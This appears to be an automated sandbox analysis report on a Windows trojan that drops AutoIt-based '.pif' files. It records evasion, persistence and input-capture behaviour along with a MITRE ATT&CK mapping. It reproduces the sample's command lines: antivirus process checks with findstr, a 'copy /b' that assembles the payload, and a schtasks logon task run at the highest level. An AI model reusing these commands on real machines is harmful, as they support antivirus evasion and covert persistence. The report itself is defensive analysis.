Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: QqHWdVqNBs.exe

Static file information: File size 17074946 > 1048576

Source: QqHWdVqNBs.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BF8AA5 push ecx; ret		12_2_00BF8AB8
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004B8AA5 push ecx; ret		17_2_004B8AB8

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\369580\Origin.pif			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	File created: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif			Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\369580\Origin.pif			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	File created: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "SecureHawk" /tr "wscript //B 'C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js'" /sc onlogon /F /RL HIGHEST

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C5577B IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	12_2_00C5577B
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BE5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	12_2_00BE5EDA
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0051577B IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	17_2_0051577B
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004A5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	17_2_004A5EDA

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00BF32E9 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

12_2_00BF32E9

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe

Stalling execution: Execution stalls by calling Sleep

graph_0-3897

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	API coverage: 4.9 %
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	API coverage: 4.8 %

Source: C:\Windows\SysWOW64\timeout.exe TID: 7732	Thread sleep count: 98 > 30			Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif TID: 7904	Thread sleep count: 40 > 30			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C347B7 GetFileAttributesW,FindFirstFileW,FindClose,	12_2_00C347B7
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C33B4F FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_00C33B4F
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C33E72 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_00C33E72
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C3C16C FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	12_2_00C3C16C
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C3CB81 FindFirstFileW,FindClose,	12_2_00C3CB81
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C3CC0C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	12_2_00C3CC0C
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C3F445 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_00C3F445
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C3F5A2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_00C3F5A2
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C3F8A3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	12_2_00C3F8A3
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004F47B7 GetFileAttributesW,FindFirstFileW,FindClose,	17_2_004F47B7
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004F3E72 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_004F3E72
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004FC16C FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_004FC16C
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004FCB81 FindFirstFileW,FindClose,	17_2_004FCB81
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004FCC0C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	17_2_004FCC0C
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004FF445 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_004FF445
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004FF5A2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_004FF5A2
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004FF8A3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_004FF8A3
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004F3B4F FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_004F3B4F

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00BE5D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

12_2_00BE5D13

Source: Origin.pif, 0000000C.00000002.2581379889.000000000407A000.00000004.00000020.00020000.00000000.sdmp, SecureHawk.pif, 00000011.00000002.2581102182.000000000409E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

API call chain: ExitProcess graph end node

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00C443B9 BlockInput,

12_2_00C443B9

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00BE5240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

12_2_00BE5240

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00C05BDC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

12_2_00C05BDC

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00C286B0 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

12_2_00C286B0

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BFA2B5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00BFA2B5
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BFA284 SetUnhandledExceptionFilter,	12_2_00BFA284
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004BA284 SetUnhandledExceptionFilter,	17_2_004BA284
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004BA2B5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_004BA2B5

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00C2914C LogonUserW,

12_2_00C2914C

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00BE5240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

12_2_00BE5240

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00C31932 SendInput,keybd_event,

12_2_00C31932

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00C350A7 mouse_event,

12_2_00C350A7

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 369580	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "MaskBathroomsCompoundInjection" Participants	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Massachusetts + Radius + Dental + Vendor + Fighting + June + Stockings + Convenience + Falls + Joke + Mask + Severe + Outreach + Sig + Bdsm 369580\Z	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\369580\Origin.pif 369580\Origin.pif 369580\Z	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif" "C:\Users\user\AppData\Local\LinkGuard Dynamics\r"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

12_2_00C286B0

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00C34D89 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

12_2_00C34D89

Source: Origin.pif, 0000000C.00000003.1443080760.00000000033D9000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 0000000C.00000000.1419131711.0000000000C85000.00000002.00000001.01000000.00000006.sdmp, SecureHawk.pif, 00000011.00000000.1472574751.0000000000545000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Origin.pif, SecureHawk.pif	Binary or memory string: Shell_TrayWnd
Source: QqHWdVqNBs.exe, 00000000.00000003.1373917786.0000000002891000.00000004.00000020.00020000.00000000.sdmp, Studios.0.dr	Binary or memory string: u3;.a3xAll files (.).*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00BF878B cpuid

12_2_00BF878B

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00C3E0CA GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,__wsplitpath,_wcscat,_wcscat,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,_wcscpy,SetCurrentDirectoryW,

12_2_00C3E0CA

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00C10652 GetUserNameW,

12_2_00C10652

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00C0409A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

12_2_00C0409A

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: SecureHawk.pif	Binary or memory string: WIN_81
Source: SecureHawk.pif	Binary or memory string: WIN_XP
Source: SecureHawk.pif	Binary or memory string: WIN_XPe
Source: SecureHawk.pif.12.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 2USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyteP
Source: SecureHawk.pif	Binary or memory string: WIN_VISTA
Source: SecureHawk.pif	Binary or memory string: WIN_7
Source: SecureHawk.pif	Binary or memory string: WIN_8

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C46733 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	12_2_00C46733
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C46BF7 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	12_2_00C46BF7
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00506733 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	17_2_00506733
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00506BF7 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	17_2_00506BF7

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	2 Valid Accounts	1 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	21 Access Token Manipulation	1 Software Packing	NTDS	17 System Information Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	1 DLL Side-Loading	LSA Secrets	31 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	11 Masquerading	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Valid Accounts	DCSync	4 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
QqHWdVqNBs.exe	32%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\369580\Origin.pif	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Beginning	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
jZFqZYoOtpryMyRHD.jZFqZYoOtpryMyRHD	unknown	unknown	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.autoitscript.com/autoit3/J	QqHWdVqNBs.exe, 00000000.00000003.1373917786.000000000289A000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmp, Origin.pif, 0000000C.00000003.1443080760.00000000033E7000.00000004.00000800.00020000.00000000.sdmp, SecureHawk.pif, 00000011.00000002.2579283031.0000000000558000.00000002.00000001.01000000.00000009.sdmp, Origin.pif.2.dr, Studios.0.dr, SecureHawk.pif.12.dr	false		unknown
http://nsis.sf.net/NSIS_ErrorError	QqHWdVqNBs.exe	false	URL Reputation: safe	unknown
http://www.autoitscript.com/autoit3/0	QqHWdVqNBs.exe, 00000000.00000003.1335365565.000000000289B000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000C.00000003.1443080760.00000000033E7000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 0000000C.00000002.2581379889.000000000407A000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.12.dr, Beginning.0.dr	false		unknown

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520445
Start date and time:	2024-09-27 11:12:32 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
